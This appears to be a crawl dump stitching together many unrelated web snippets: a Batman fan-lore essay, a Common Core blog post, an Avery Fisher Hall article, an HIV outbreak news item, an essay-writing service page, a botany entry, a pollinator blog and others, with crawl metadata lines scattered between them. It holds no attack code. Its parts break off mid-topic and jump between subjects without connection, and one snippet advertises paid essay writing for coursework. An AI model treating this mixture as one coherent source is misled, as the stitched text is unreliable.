Shortly after his fiftieth birthday, Dick Grayson decided to retire as Robin, and gave his blessing for Bruce Wayne Jr.'s protege Jason Todd to take the role. It was to be one of the last times he spoke civilly with his old friend.
In July of 1984, during the so-called Crisis on Infinite Earths, Dick Grayson and Helena Wayne were killed battling extradimensional invaders. There was not enough left of either of them, nor of Kole, the young member of Rick Grayson's Titans who had come to their assistance, to bury.
XIII: Bruce Wayne Jr. (continued)
In fairly quick succession, his step-mother was murdered, his father vanished, and his brother (in spirit, if not knowingly in blood) and sister were killed. There are also reports which indicated that his biological mother may also have been killed in the mid-seventies. Bruce Wayne Sr. and Dick Grayson were defined by their tragedies, but not over-powered by them. The same could not, unfortunately be said for Bruce Wayne Jr. He did what many people have done after suffering such repeated tragedies, and closed himself off from further relationships, driving away his remaining friends in order to protect them ... and to protect himself from the pain of losing them.
He'd left the Justice League in 1982 because he felt that they weren't doing enough, and formed a team of Outsiders. Shortly after the Crisis, he abandoned them when they chose to go their own way rather than his. Shortly after that, he severed his relationship with Jason Todd during the dark god Darkseid's attempt to destroy Earth's heroes, and bluntly refused any role in the new Justice League formed at that time.
His decline continued through the 80s and into the 90s. At last, early in 1998, he finally recognized that he was on the verge of becoming what he most hated ... and quietly retired to his family manor, just as his father had before him.
XIV: And Beyond
Time passed. Bruce (with his father gone, and surely dead by now, no one called him Junior anymore) let control over his family fortune and the companies it supported pass into more corrupt hands.
Time passed. As cyberpunk authors had warned, governments continued to let the powers entrusted to them by their citizens slip into the control of multinational corporations who owed allegiance to no one.
Time passed. Some heroes rolled with these changes, as shown by Justice Incorporated, the newest incarnation of the Justice Society and League. But Bruce never even answered their call.
And a young man named Terry McGinnis met Bruce Wayne, and another scion of the Dark Knight was born ...
It has been suggested that Gordon had deduced that Wayne was actually the Bat-Man, and that his attempts to capture him early in the series were merely pro forma; I suspect that it is more likely that Gordon knew that Wayne was much more capable than he appeared, not unlike the British Lord Peter Wimsey or the American detective Philo Vance.
Kyle's years in Egypt were at one point of great interest to the adventurer known as Modesty Blaise, as they coincided with the time when the girl who became Modesty Blaise was born. Ultimately Ms. Blaise came to the conclusion that Kyle was almost certainly not her mother.
The adventures of a counterpart of William Kane on a parallel Earth where magic was much more commonplace in the Twentieth Century were recounted by Robert A. Heinlein in Magic Incorporated. This may have been the same world chronicled by Piers Anthony in his Incarnations of Immortality series. Gotcha.
It may have been this Catwoman who encountered Vampirella, many years later.
He somewhat sarcastically suggested that they contact a colleague of his named Masefield who was beginning to return to his career as a crimefighter. They did. He was more than amenable to their offer, and was influential in seeing that the United Nations sponsored them.
Again, it's all Al Schroeder's fault for slipping Tamaran and Nightstar into his Extraterrestrials article. While I liked the New Teen Titans as much as anyone -- well, maybe not as much as Devin Grayson -- I couldn't see the Robin/Nightwing who appeared there as the anonymous Robin III who featured in Win Eckert's timeline, or Bruce Wayne Jr. (shifting everything back about 10 years), or the original Robin. So I needed something else.
Also, I disliked the idea that Bruce Jr.'s mother was Selina Kyle, since as I point out, when Batman II and Robin II appeared in the original stories, Robin II's mother was Batwoman. So I came up with a workaround that would also let me have Selina Kyle as Bruce's eventual wife.
The "draft" Batman mentioned here was brought to my attention in Bob Kane's obituary.
Justice Incorporated is my own idea, and I may do something with them one of these days. Be patient.
Including Batman Beyond and a sneaky reference to at least one Batman-inspired character is a perk of the job, as is making lewd implications. I heartily recommend taking them where and when you can.
See also Al Schroeder's Wayne's World, or A Blue-Eyed Branch of the Wold Newton Family Tree.
Return to the Wold Newton Superhero Universe.
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This approach not only complicates the simplest of math problems; it also leads to delays. Under the Common Core Standards, students will not learn traditional methods of adding and subtracting double and triple digit numbers until fourth grade. (Currently, most schools teach these skills two years earlier.) The standard method for two and three digit multiplication is delayed until fifth grade; the standard method for long division until sixth. In the meantime, the students learn alternative strategies that are far less efficient, but that presumably help them "understand" the conceptual underpinnings.Once again, knowledge stored in memory is entirely different from knowledge stored on Google.
Biological memory is a biological process that requires a period of time during which new memories are consolidated:
Memory consolidation refers to the idea that neural processes transpiring after the initial registration of information contribute to the permanent storage of memory.I don't know how much time the brain requires to consolidate memories, but I recall John Medina suggesting that the figure may be as long as 10 years. (That would jibe nicely with the 10-year rule for development of expertise, wouldn't it?)
Memory consolidation, retrograde amnesia and the hippocampal complex
Lynn Nadel* and Morris Moscovitcht Cognitive Neuroscience
The "consolidation lag" between first learning a new skill and really knowing that skill explains why "just-in-time" learning is so crazy. There is no such thing as just-in-time learning. The brain doesn't work that way. No matter how smart you are, if you are 17 and you don't know how to do long division, you can't just have your professor show you how and then start doing it. Knowledge has to be consolidated before you can use it well, and consolidation takes time.
Here is James Milgram on his experience teaching Stanford students who had not been taught long division:
What happens when you take long division out of the curriculum? Unfortunately, from personal and recent experience at Stanford, I can tell you exactly what happens. What I'm referring to here is the experience of my students in a differential equations class in the fall of 1998. The students in that course were the last students at Stanford taught using the Harvard calculus. And I had a very difficult time teaching them the usual content of the differential equations course because they could not handle basic polynomial manipulations. Consequently, it was impossible for us to get to the depth needed in both the subjects of Laplace transforms and eigenvalue methods required and expected by the engineering school.There is no just-in-time learning, and you can't catch-up.
But what made things worse was that the students knew full well what had happened to them and why, and in a sense they were desperate. They were off schedule in 4th and 3rd years, taking differential equations because they were having severe difficulties in their engineering courses. It was a disaster. Moreover, it was very difficult for them to fill in the gaps in their knowledge. It seems to take a considerable amount of time for the requisite skills to develop. [emphasis added]
Transcript of R. James Milgram
1999 Conference on Standards-Based K-12 Education
For the sake of argument, say it takes two years to consolidate the skill of adding and subtracting double-digit numbers. (I'm guessing it takes more than two, but I don't know.) If a child learns to add and subtract double-digit numbers in second grade, he or she will be proficient in fourth grade.
Delay teaching the algorithms until fourth grade and now you have a cohort of students who won't be proficient in addition and subtraction until 6th grade.
That's the way it works. Two years is two years.
Eide Neurolearning explains elaborative rehearsal
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The National Disability Insurance Scheme (NDIS) is the new way of providing support for Australians with disability, their families and carers. The NDIS will provide Australians under the age of 65 living with a permanent and significant disability with the reasonable and necessary supports they need to live an ordinary life. As an insurance scheme, the NDIS takes a lifetime approach, investing in people with disability early to improve their outcomes later in life. The NDIS helps people with disability to:
- Access mainstream services and supports
- Access community services and supports
- Maintain informal support arrangements
- Receive reasonable and necessary funded supports
Queensland Stoma Association Ltd can provide ostomy consumables by request for self-managed NDIS clients. Please contact the Association on 07 3359 7570 for more information or to obtain a quote.
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Does love at first sight exist? (Question at Fox and Friends this morning) My husband told me on our first date he was going to marry me. Not exactly first sight, since we had met a few weeks before, but close. I just thought he was being silly. But married people are healthier and financially more secure, even if their eye sight and heart aren't linked. Single men have mortality rates that are 250% higher than married men. Single women have mortality rates that are 50% higher than married women. Based on life expectancies, nine of ten married men and women alive at age 48 are alive at 65, while only six of ten single men and eight of ten single women make it to 65. And of course, children raised by married parents have only an 8% chance of growing up in poverty, so that statistic transfers to parents. Also, and I know you've been waiting for this, married couples have more sex than unmarried couples living together. Living together before marriage decreases the chances of a strong, healthy marriage and increases the chance of divorce.
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by Danny Haiphong
What does America’s national celebration mean to those under the heel of “Manifest Destiny,” at home and abroad? “For the victims of US imperialism, the 4th of July is indeed a ‘hollow mockery’ and ‘mere bombast, fraud, and deception’ as Frederick Douglass so eloquently put it in his famous speech.”
What is July 4th to US imperialism? What is it to the Oppressed?
by Danny Haiphong
“The Declaration of Independence implicitly legalized the enslavement of Black people and the genocide of Native people within the context of the developing American capitalist nation-state.”
July 4th is once again approaching and principled left forces need to use the day as a teaching moment. In a speech given on July 4th, 1852, Frederick Douglas spoke before a packed Rochester Hall and did just that, highlighting the hypocrisy that stains the July 4th celebration of the American Declaration of Independence. The Declaration of Independence, as Douglass emphasized, held no worth to the millions of Black people in the United States whose existence was subjected to the racism and exploitation of chattel bondage. Over a century and a half later, the celebration of July 4th remains not only a practice of hypocrisy, but also a blatant co-sign US imperialist plunder all over the planet.
Liberty, independence, and equality are abstract ideas. Their presence in the Declaration of Independence must be placed in proper political-historical context. White capitalists, many of them slave-owners, wrote the Declaration of Independence. Independence from the British Crown for the American, slave-owning colonial bourgeoisie meant the ability to develop a settler colonial-capitalist order free from the British Empire's restrictive policies. Most notably, the likes of Thomas Jefferson and George Washington were concerned about a British mandate to abolish chattel slavery in its colonies, a policy that had the potential to severely weaken the colonial bourgeoisie and prevent further expansion of the capitalist system in North America. The Declaration of Independence implicitly legalized the enslavement of Black people and the genocide of Native people within the context of the developing American capitalist nation-state.
“The likes of Thomas Jefferson and George Washington were concerned about a British mandate to abolish chattel slavery in its colonies.”
This is the type of "liberty" that is celebrated annually every 4th of July. Douglass addressed the antagonisms brought forth by the July 4th "holiday" when he asked:
“What, to the American slave, is your 4th of July? I answer; a day that reveals to him, more than all other days in the year, the gross injustice and cruelty to which he is the constant victim. To him, your celebration is a sham; your boasted liberty, an unholy license; y our national greatness, swelling vanity; your sound of rejoicing are empty and heartless; your denunciation of tyrants brass fronted impudence; your shout of liberty and equality, hollow mockery; your prayers and hymns, your sermons and thanks-givings, with all your religious parade and solemnity, are to him, mere bombast, fraud, deception, impiety, and hypocrisy -- a thin veil to cover up crimes which would disgrace a nation of savages. There is not a nation on the earth guilty of practices more shocking and bloody than are the people of the United States, at this very hour.”
Douglass's indictment of the American way of life remains true. Despite the relentless misinformation war waged by the US imperialist corporate media and education system, the conditions of oppressed people are far worse now than they were at the date of Douglass's speech. Black America and Native peoples reside in the US in a state of neo-slavery. As indigenous nations battle against President Obama's pipe-line incursions for survival under genocidal exclusion in forced residence on reservations, Black America's masses live with the daily colonial realities of police-state terror, mass imprisonment, and economic and social death. Undocumented immigrants, many of whom are indigenous Chicanos, are super exploited for their labor and have been deported in record numbers by Obama Administration. The internal landscape of US imperialism is by definition the highest stage of Anglo-American settler colonialism, the founding social system that inspired Douglass's July 4th analysis.
The US settler state is now an imperialist one that ensures the exploitation and misery of billions of people around the globe. The US has nearly 1000 military bases all over the world and spends trillions per year in overt and covert military operations. Recent corporate media focus has been on the re-invasion of Iraq to "protect" the Iraqi state from terrorist insurgents. This ignores the 1.6 million Iraqi people that died during the decade-long US occupation alone. Imperialist rhetoric of bringing "stability" to Iraq flies in the face of the fact that the US military-intelligence apparatus sponsors ISIS and other terror groups all over the Middle East and North Africa inside the allied nations of Jordan, Saudi Arabia, and the rest of the GCC and NATO alliances. US imperialism is scorching the earth, either by militarizing neo-colonial allies or conducting "humanitarian intervention" to justify overt invasion, as was the case in Libya and now again in Iraq. For the victims of US imperialism forced to live under imperialist political instability and economic dependence, the 4th of July is indeed a "hallow mockery" and "mere bombast, fraud, and deception" as Douglass eloquently put it in his speech.
“Black America's masses live with the daily colonial realities of police-state terror, mass imprisonment, and economic and social death.”
In the era of Obama, US imperialism has been very vocal in its disregard for humanity. In 2010, President Obama joked that he would "predator drone" the Jonas Brothers band, making a mockery out the thousands of people his Administration has murdered by drone strike. The Obama Administration's left-flank imperial politics has branded imperialism and corporate exploitation with anti-Black racism (see Obama's 2013 Morehouse graduation speech) and fascist nationalism (see Obama's 2014 West Point Commencement speech). Additionally, Hilary Clinton is making quite a name for herself in mainstream political discourse after stating on CNN that "Just because your child gets across the border, that doesn't mean the child gets to stay.” This answer came after the question of immigration was raised in relation to the thousands of children that have been crossing the border of Mexico from Central America. The architects of imperialism are exposing their own illegitimate system, and by extension, the sham that July 4th represents. The ruling class's vocal and visible ruthlessness is both a signal of decay in the US imperialist system and of the political crisis among left forces in the US that allow such brutality to be carried out with impunity.
In the spirit of Frederick Douglass, this July 4th should be a moment not of celebration, but of deep reflection for left political forces. What does "American Independence" really mean? Does it mean the freedom for US imperialism to destabilize nations, murder millions, and force the world into its political and economic sphere of influence? Does it mean the independence for US imperialism to imprison the largest number of (mostly Black) people in the world? Is "liberty" defined by the US imperialist system's centuries-long colonization of Native and Black America, now taking form in the privatization of entire cities like Black Detroit? The answer is yes to all of the above. The masters of deceit can't and won't end the imperialist system the July 4th holiday represents. Only we can do that. Instead of going out to celebrate this farcical holiday, let's organize our communities and people in the direction of liberation from the US imperialist system.
Danny Haiphong is an activist and case manager in the Greater Boston area. You can contact Danny at: [email protected]
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Avery Fisher HallEdit profile
Coordinates: 40°46′22″N 73°58′59″W / 40.77278°N 73.98306°W / 40.77278; -73.98306
Avery Fisher Hall is a concert hall, in New York City and is part of the Lincoln Center for the Performing Arts complex. It is the home of the New York Philharmonic, with a capacity of 2,738 seats.
Designed by Max Abramovitz, the hall opened in 1962 as Philharmonic Hall, as the new home concert venue of the New York Philharmonic, after the orchestra moved from Carnegie Hall. The hall was renamed for Avery Fisher, a member of the Philharmonic board of directors, following his US $10.5 million donation to the orchestra in 1973.
The acoustical consulting firm of Bolt, Beranek and Newman (BBN) was hired to design the interior acoustics for the hall. Based on their experience designing and analyzing existing concert halls, BBN acousticians recommended that the hall be designed as a "shoebox" with narrowly-spaced parallel sides (similar in shape to the acoustically-acclaimed Symphony Hall, Boston), with seating for no more than 2,400 patrons. Lincoln Center initially agreed with the recommendation, and BBN provided a series of design specifications and recommendations. However, the New York Herald Tribune began a campaign to increase the seating capacity of the new hall. Late in the design stage, the hall was redesigned to accommodate the critics' desires, but these changes invalidated much of BBN's acoustical design. BBN engineers told Lincoln Center that the hall would sound different from how they had intended it to, but they could not predict what the changes would do.
Philharmonic Hall opened on September 23, 1962, to mixed reviews. The concert, featuring Leonard Bernstein, the New York Philharmonic, and a host of operatic stars such as Eileen Farrell and Robert Merrill, was televised live on CBS. The opening week of concerts included performances by a specially-invited list of guest orchestras (Boston, Philadelphia, and Cleveland), who were regularly appearing at Carnegie Hall each season, as well as the new hall's home ensemble. Several reporters panned the hall, while at least two conductors praised the acoustics. (While the initial intention had been that Philharmonic Hall would replace Carnegie Hall, which could then be torn down, that scenario of events did not take place.)
Several attempts were made to remedy the acoustical problems of the new Philharmonic Hall, with little success, leading to plans in the 1970s for a substantial renovation project designed by noted acoustician Cyril Harris with project architect Philip Johnson. These renovations included demolishing the inside of the hall and rebuilding a new hall within the outer framework and facade. While initial reaction to the improvements was favorable, overall feelings about the new hall's sound soured, and the acoustics of Avery Fisher Hall continued to be problematic. One assessment of the acoustics of the hall from R.C. Ehle stated:
During the tenure of Kurt Masur with the New York Philharmonic, several …
The ongoing problems with the hall's acoustics eventually led the New York Philharmonic to consider a merger with Carnegie Hall in 2003, which would have moved the Philharmonic back to Carnegie for most of its concerts each season. However, this planned merger did not occur.
Beginning in 2005 (and continuing in 2006), the Mostly Mozart Festival has experimented with extending the stage for the Mostly Mozart orchestra farther out into the seats from the main stage for the Festival's summer season. According to a June 2006 report in the New York Times, Avery Fisher Hall is scheduled to begin undergoing renovations in the summer of 2010, delayed from previous announcements of renovations in 2009.
Avery Fisher Hall is used today for many events, both musical and non-musical.
For example, it is a frequent location for graduation ceremonies for high schools and universities, such as New York Law School, Columbia University Law School, Brooklyn Law School, Benjamin N. Cardozo School of Law, Albert Einstein College of Medicine, The Gallatin School of Individualized Study at New York University, Touro College Jacob D. Fuchsberg Law Center, Fiorello H. LaGuardia High School of Music & Art and Performing Arts, Stuyvesant High School, Edward R. Murrow High School, Murry Bergtraum High School for Business Careers, Polytechnic University of New York, Bronx High School of Science, Marymount Manhattan College, Juilliard School and St. George's University School of Medicine. Weddings are held there as well.
Another television concert from Avery Fisher Hall again featured Bernstein and the New York Philharmonic in one of their Young People's Concerts, the first of the many Young People's Concerts televised from that venue (They had formerly been televised from Carnegie Hall). The program concentrated on concert hall acoustics, and, like the opening night concert, was shown over the CBS television network. It was entitled "The Sound of a Hall". At that time, the building was still known as Philharmonic Hall. The PBS series Live from Lincoln Center continues to feature performances from Avery Fisher Hall.
In addition, Lincoln Center presents visiting orchestras in Avery Fisher Hall, such as the London Symphony Orchestra, the Singapore Symphony Orchestra, the Rotterdam Philharmonic Orchestra, and the Kirov Orchestra of the Mariinsky Theatre, as part of their "Great Performers" series.
Simon & Garfunkel recorded their live album, titled Live from New York City, 1967, here on January 22, 1967.
Queen performed two shows during their Sheer Heart Attack Tour on February 16, 1975, the first at 8:00pm and the second at 11:30pm.
- Melone, Deborah; Eric W. Wood (2005). Sound Ideas: Acoustical Consulting at BBN and Acentech. Cambridge, MA: Acentech Incorporated. LCCN 2006920681.
- "Annals of Architecture: A Better Sound" by Bruce Bliven. New Yorker magazine, November 8, 1976.
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One day, when King Arthur stopped to rest by a spring, he was surprised by a sound like thirty baying hounds. A strange animal with a snakes head the body of a leopard the back legs of a lion and the hooves of a deer burst through the underbrush, pursued by king Pellinore. Pellinore had hunted the Questing Beast, as the creature was called, all his life but never managed to capture it. Malory describes it as "the strongeste beste that ever he [Arthur] saw or herde of."
This strange best reappears frequently, beginning with Suite du Merlin and Perlesvaus, in French, Spanish, and Italian romance and in Malory.
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| 0.971638
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Islamabad– An international team, comprising experts from the World Health Organization (WHO), Center for Disease Control (CDC), Unicef and Unaids, will arrive in Pakistan on Tuesday to probe the latest HIV outbreak in Sindh province.
“Led-by Oliver Morgan, Director of Health Emergency Information and Risk Assessment, in the Health Emergencies Programme of WHO, a 12-member international team comprising experts from CDC Atlanta, Georgia, Unicef and Unaids is landing today in Karachi to investigate the root cause of the latest HIV outbreak in Ratodero area of Larkana”, an official of the WHO told The News International.
As of Monday, 700 people including 576 children were tested positive for HIV since the outbreak was first reported on April 25.
The Sindh health department blamed “quacks” or unqualified practitioners for reusing syringes which is one of the major source of HIV spread among the general population, especially children.
But national and international experts were not satisfied with the investigations so far largely being carried out by experts from the University of Karachi.
Fearing a ‘foul play’ in the recent HIV outbreak in Larkana, officials associated with the international health organisations said that although the “reuse of syringes” was emerging as “most likely cause of HIV outbreak” in Larkana, epidemiologists both in Pakistan as well as around the globe were not “satisfied” and have several questions as to why such a large number of children are infected, which is an unusual pattern. (IANS)
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CC-MAIN-2022-33
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https://indianewengland.com/international-team-arriving-in-pakistan-to-probe-hiv-outbreak/
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en
| 0.961011
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| 2.09375
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Learning Goal: I’m working on a business law discussion question and need an explanation and answer to help me learn.
Contracts Rules Everything Around Me
Contracts move every aspect of commerce; big and small; down to every transaction in which you participate; down to the home you buy; the products you buy on Amazon; to the food you buy at the grocery store.
What questions do you have regarding the necessary elements required to form a legally binding contract; or in what circumstances is a contract legally formed or not?
• (15) points will be awarded for a thoughtful question in this discussion thread that proposes a question of law for the class to answer whether a contract was legally formed or not? You must also provide a sufficient set of facts in which to apply the question of law. This can even be from a simple personal experience such as when you select an apple in the grocery store: are you offering to purchase the apple or accepting the advertised offer to purchase the apple? (more facts would be needed here to make this a thoughtfully proposed question but hopefully you get the idea).
Delivering a high-quality product at a reasonable price is not enough anymore.
That’s why we have developed 5 beneficial guarantees that will make your experience with our service enjoyable, easy, and safe.
You have to be 100% sure of the quality of your product to give a money-back guarantee. This describes us perfectly. Make sure that this guarantee is totally transparent.Read more
Each paper is composed from scratch, according to your instructions. It is then checked by our plagiarism-detection software. There is no gap where plagiarism could squeeze in.Read more
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By sending us your money, you buy the service we provide. Check out our terms and conditions if you prefer business talks to be laid out in official language.Read more
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<urn:uuid:257e0946-54db-45a0-a676-d1192e35017d>
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CC-MAIN-2022-33
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https://pay4essay.net/2022/08/01/business-law-question-17/
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en
| 0.955
| 447
| 1.617188
| 2
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Economic Growth and Tax Relief Reconciliation Act of 2001 - Investment & Finance Definition
The Republican tax cut program that was approved in 2001 during the first year of George W. Bush’s presidency. The act reduced personal income tax rates by three percentage points for each income tax rate over 10 years except for the top rate, 39.6 percent, which was reduced to 35 percent. These tax reductions are scheduled to disappear in 2011 unless the changes are made permanent. In addition, this act created a new 10 percent rate for the first $12,000 of taxable income for married couples filing jointly.
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<urn:uuid:f11f9226-dc01-4bec-9261-9754fecceb21>
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CC-MAIN-2017-04
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http://invest.yourdictionary.com/economic-growth-and-tax-relief-reconciliation-act-of-2001
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en
| 0.972025
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| 2.453125
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Find a workers' compensation pay scale chart on the Social Security Administrations website, SSA.gov, on many state employment law sites and on ProPublica.org, as of 2015. Each site includes some general information about how the state determines pay rates with specific ranges and payment limits according to each tier.Continue Reading
SSA.gov offers a significant amount of information about the various types of government-sponsored payment assistance programs, including a pay scale for the maximum weekly benefit amounts within the workers' compensation system. After reading the explanation of how to use the charts within the site in different situations, such as during a dispute between the claim holder and the employer regarding the payment amount, scroll to Section C and click on the abbreviation for the state in which you are filing your claim. The charts show a historical catalog of maximum weekly payment amounts according to the date on which the claim begins.
Some state websites also include pay scale charts regarding workers' compensation amounts, including the method for determining the payment threshold in certain locations. For example, North Carolina sets the payment rate as a percentage of the estimated lost wages for the worker over different periods of time rather than as a flat dollar amount. ProPublica.org offers an interactive pay scale system that shows how much workers' compensation benefits you may receive if you lose a limb while working in different states.Learn more about Careers
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<urn:uuid:66658208-8ce8-45da-b989-d38b1a407de0>
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CC-MAIN-2017-04
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https://www.reference.com/business-finance/workers-compensation-pay-scale-d913ab57c7cea95
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s3://commoncrawl/crawl-data/CC-MAIN-2017-04/segments/1484560280872.69/warc/CC-MAIN-20170116095120-00316-ip-10-171-10-70.ec2.internal.warc.gz
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en
| 0.938987
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R package tilting: Variable Selection via Tilted Correlation Screening Algorithm. Implements an algorithm for variable selection in high-dimensional linear regression using the ”tilted correlation”, a new way of measuring the contribution of each variable to the response which takes into account high correlations among the variables in a data-driven way.
Keywords for this software
References in zbMATH (referenced in 1 article )
Showing result 1 of 1.
- Staerk, Christian; Kateri, Maria; Ntzoufras, Ioannis: High-dimensional variable selection via low-dimensional adaptive learning (2021)
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<urn:uuid:62a0fe2a-94b5-4372-b66e-45d34eface72>
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CC-MAIN-2022-33
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https://www.swmath.org/software/39810
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s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571987.60/warc/CC-MAIN-20220813202507-20220813232507-00271.warc.gz
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en
| 0.75885
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Library Open Repository
The effect of steep slope logging on fine sediment infiltration into the beds of ephemeral and perennial streams of the Dazzler Range, Tasmania, Australia
Davies, PE and Nelson, M (1993) The effect of steep slope logging on fine sediment infiltration into the beds of ephemeral and perennial streams of the Dazzler Range, Tasmania, Australia. Journal of Hydrology, 150. pp. 481-504. ISSN 0022-1694Full text not available from this repository.
Gravel-filled traps were buried in the beds of streams draining steep logged and unlogged catchments of the Dazzler Range in northern Tasmania, Australia, and removed after storm events, to assess infiltration of fine (less than 1 mm) material into the bed. All stream catchments were geomorphically similar, over similar altitude ranges and had moderately erodible sandy-clay soils on 25-35[o] slopes. Study catchments were selected to control for aspect, logging treatment and coupe age. Fine sediment infiltration into the stream bed was assessed for 15 tributary ephemeral streams in logged areas and 11 streams in unlogged areas. The logged catchments had been clearfelled in three time periods-1990-1991, 1988-1989 and 1986-1987-all by skyline cable logging. Trap yield was also assessed in riffles of the perennial valley floor streams upstream and downstream of the junction of six logged and six unlogged tributaries and upstream and downstream of four old but actively used road crossings. Trap yield was significantly higher in logged than unlogged ephemeral streams for size fractions ranging from less than 125 to 500 um, by factors ranging from two to three, but not for sediment between 0.5 and 1.0 mm. Trap yield of organic sediment of less than 125 um declined with time after logging and burning, whereas inorganic sediment yield showed no clear trend with couple age. Trap yield of streams logged in 1986-1987 was not significantly higher than for control streams, whereas inorganic sediment and 0.5-1.0 mm organic sediment yields were highest for recently burnt coupes. A significantly greater number of increases in trap yield occurred between riffle pairs of valley floor streams adjacent to junctions of logged tributaries, when compared with control riffle pairs. Logged tributary junctions were associated with an increase in the organic content of sediment. Road crossings were associated with large increases in infiltration in adjacent riffle pairs, 30-50 years after construction. Current forest practices do not protect ephemeral headwater streams from enhanced sediment inputs, the long-term significance of which is unknown. Recovery of sediment fluxes in these streams to background levels appears to take 5 years or longer.
|Keywords:||logging, forestry, freshwater, biota, streams, rivers, Tasmania|
|Journal or Publication Title:||Journal of Hydrology|
|Page Range:||pp. 481-504|
|Date Deposited:||15 Dec 2006|
|Last Modified:||16 Mar 2011 02:40|
|Item Statistics:||View statistics for this item|
Actions (login required)
|Item Control Page|
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<urn:uuid:8ce93955-8cb7-4795-ac18-217a70951b92>
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CC-MAIN-2017-04
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http://eprints.utas.edu.au/469/
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en
| 0.927884
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Prunus mume is native to China, Korea, Japan, and the northern parts of Laos and Vietnam. It grows alongside streams, in sparse forests, and on rocky slopes from 1700 to 3100m in elevation. The species is commonly known as mei flower, mume, ume, Chinese plum, Japanese flowering plum, and Japanese apricot.
At 4.5 to 6m tall and the same distance across, this small tree has a rounded form and a fast-growing habit. The younger bark is a glossy bright green, but matures to be smooth and grey to cinnamon-coloured. The deep green leaves are ovate and serrulate, with downy hairs appearing on the leaf underside’s veins. In autumn, the leaves colour yellow.
Locally, the bright, clove-scented blossoms open from January to March, before the leaves appear. Depending on the cultivar, flowers may be single or double, with petals in shades ranging from white through rose to dark pink. The flowers are insect-pollinated and are hermaphroditic, with three cream to yellow stamens associated with each petal. These red-sepalled flowers may reach up to 2-2.5 cm across.
Prunus mume blossoms have special significance in China, where the five petals represent the blessings of wealth, health, love of virtue, longevity, and peaceful death. The blossoms are also the national flower of Taiwan. Historically, they have been depicted in art forms including embroidery, paintings and ceramics.
The fuzzy green to orange apricot-like 3cm-in-diameter fruits ripen over the summer. In Japan, they are either often pickled or salted and dried to make umeboshi or preserved by smoking. The sour juice left over from the salting process is sometimes used as a vinegar substitute. The fruits can also be made into wine and various sauces. Traditionally, the fruit is used to treat indigestion, roundworms, dysentery, bronchitis, chronic coughs, fungal skin infections, and to stop bleeding. Green dyes are made from both the leaves and the fruit, while the flowers are sometimes used to flavour tea.
Prunus mume is commonly cultivated for its fruit and flowers. The species is recommended for use as a specimen tree. It can also be grown as a bonsai. Japanese apricot grows best in full sun to partial shade in well-drained, acidic soils. While it is susceptible to bacterial canker, brown rot, verticillium wilt, and honey fungus, the tree is very likely to overcome these if it is grown in fertile soil. It can be grown from seed or propagated from softwood cuttings taken in early summer. Cultivars available in North America include ‘Nicholas’, ‘Kobai’, ‘Contorta’, and ‘Peggy Clarke’.
Note from Daniel: This is an entry written by a work-learn student, Madeline Iseminger, who was writing entries while the site wasn’t up. As a reminder, we’re now including authors of the entries and the photo thank-yous in the smaller text above the image(s). Also, you should now be able to click on the single images (in entries with single images) to get a larger version, if one exists.
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CC-MAIN-2022-33
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https://botanyphoto.botanicalgarden.ubc.ca/2017/02/prunus-mume/
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s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00677.warc.gz
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The Quiet Visitors of an Urban Farm
Why pollinators are essential to a farm ecosystem
This little fella is quite a poser. As my camera got closer, it took the cue to strike a model pose. This little dragonfly visits the farm daily with a few of his friends. Often smiling and teasing for photoshoots — such a cheeky exhibitionist.
He is seldom alone. Together with his gang of pollinators — birds, bees, ladybugs, butterflies, wasps & moths they get VIP entrance to our community farm.
Inside the farm, the lounges and beds are set up for his friends; pollinators to soak up the sun and feast on the buffet spread of flowers and buds. Fortunately, these little VIPs are easily satisfied as long as nectar and pollen are replenished and plentiful for their pleasure. These little pollinators would flirt with no shame from bud to bud, whispering sweet nothings of pollen along with every stop.
But for our VIP dragonflies, the pond and the partially submerged plants are their favorite lounge. They love sunbathing on the top of these long stems and hide their larva in them. They do not care much for pollinating but instead look out for blood-sucking mosquitoes, flies, ants, termites, or anything smaller than them. A VIP in its class of its own.
(The above is a snippet of ‘A day in Life’ at an urban farm; Kebun Kebun Bangsar, Malaysia)
What are pollinators?
They are mostly tiny animals or insects that can fly — Birds, bats, bees, ladybugs, butterflies, wasps, flies & moths.
Some studies have indicated there are at least 1,500 vertebrates and mammals that are pollinators too.
What is Pollination?
The process where pollinators transfer pollen from male flower to female flower. When this happens, we gain seeds, fruits, and another inception of flowers or plants. While 90% of pollination depends on animals, the remaining 10% are wind and water.
Why are they essential to farms?
One out of every three bites of what we eat depends on a pollinator. Pollination is necessary for over 180,000 different plant species and more than 1200 crops.
It is scary to imagine life without pollinators. It is not just a simple situation of not seeing butterflies or bees in your garden but not enjoying fruits or vegetables that we have been eating for years.
Just for a simple context, according to an article by Forbes — Between $235 and $577 billion (U.S.) worth of annual global food production relies on pollinators!
Indirectly, they contribute to the farm’s ecosystem by reducing the need for synthetic elements such as pesticides and helping farmers work on being more organic.
How can you help pollinators?
Not surprisingly, with urbanization and climate change, the habitats of pollinators are being threatened. These include excessive use of pesticides and disease spread.
But there are things you can do to help ensure pollinators continue their service.
- Plant pollinator garden-flowers: Plant in boxes, gardens, farms, clusters. Plant continuously if possible — plant different mix of flowers, including local trees/flowers. Locate a site for resting/nesting — birds like small pools of water.
- Use pesticides only when necessary or for the intended pest.
- Support local honey producers. Build bee boxes.
There are plenty of successful urban farms which can provide meadow-like pollinator garden without too much of effort.
If the ecosystem and biodiversity are in balance, it will require very little human intervention to keep the garden/farm going without injecting synthetic materials/pesticides.
“One out of every three bites you eat, you should thank a bee, butterfly, bat, bird or other pollinators.”
— (Our Forgotten Pollinators: Protecting the Birds and Bees By Mrill Ingram, Gary Nabhan and Stephen Buchmann)
Thank you for reading.
For more of my articles, please feel to click on the links below;
You can also share your love and concerns for this lovely planet. Just click the below image and write for The Environment
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CC-MAIN-2022-33
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https://leechingching.medium.com/the-quiet-visitors-of-an-urban-farm-406a20d21ca7?source=post_internal_links---------2----------------------------
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Anti- Hijab protest in IRAN
• started in May 2014, when Masih Alinejad, an exiled Iranian journalist in New York, posted old pictures of herself, clicked in Iran, where she had taken off her mandatory veil while driving.
• Soon, her Facebook page was flooded with similar pictures shared by Iranian women.
• Alinejad then created a Facebook page, “My Stealthy Freedom”, encouraging women of her country to do the same.
• A campaign, #WhiteWednesdays, bloomed, asking women to wear white on Wednesdays to protest the compulsion.
• Maryam Shariatmadari, one of the ‘Girls of Rewas arrested for protesting the mandatory
hijab practice of Iran, and sentenced to one year in prison on March 25.
• Charged under Branch 1091 of the 2nd Penal Court of Tehran for “encouraging corruption by
removing her hijab”.
